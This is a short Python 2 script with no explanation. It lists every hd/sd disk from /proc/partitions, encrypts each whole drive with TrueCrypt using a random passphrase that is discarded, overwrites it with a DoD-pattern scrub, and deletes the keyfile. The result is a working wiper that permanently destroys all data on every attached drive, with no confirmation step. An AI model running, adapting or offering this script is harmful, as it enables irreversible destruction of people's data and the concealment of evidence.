#!/usr/bin/python import commands,string,random,os digits = "".join([random.choice(string.digits) for i in xrange(8)]) chars = "".join([random.choice(string.letters) for i in xrange(26)]) keyfile = "".join([random.choice(string.letters) for i in xrange(320)]) k1 = open("/tmp/keyfile","w") k1.write(keyfile) k1.close() passphrase = digits+chars output = commands.getoutput("awk '/[hs]d[a-z]$/ { print $4 }' /proc/partitions > output.txt") f = open("output.txt","r") rawdata = f.read() lines = rawdata.split("\n") f.close() count=0 for z in lines[:-1]: count+=1 count1=0 for z in lines[:-1]: count1+=1 hdDrives = "/dev/"+z print "[*] Encrypting Drive %d/%d: %s"% (count1, count, hdDrives) os.system("truecrypt -c %s --encryption=AES-Twofish --hash=SHA-512 --filesystem=none -p %s --random-source=/tmp/keyfile -k /tmp/keyfile --volume-type=normal" % (hdDrives,passphrase)) print "[*] Wiping Drive %d/%d: %s"% (count1, count, hdDrives) os.system("scrub -p dod %s"% hdDrives) os.system("rm /tmp/keyfile")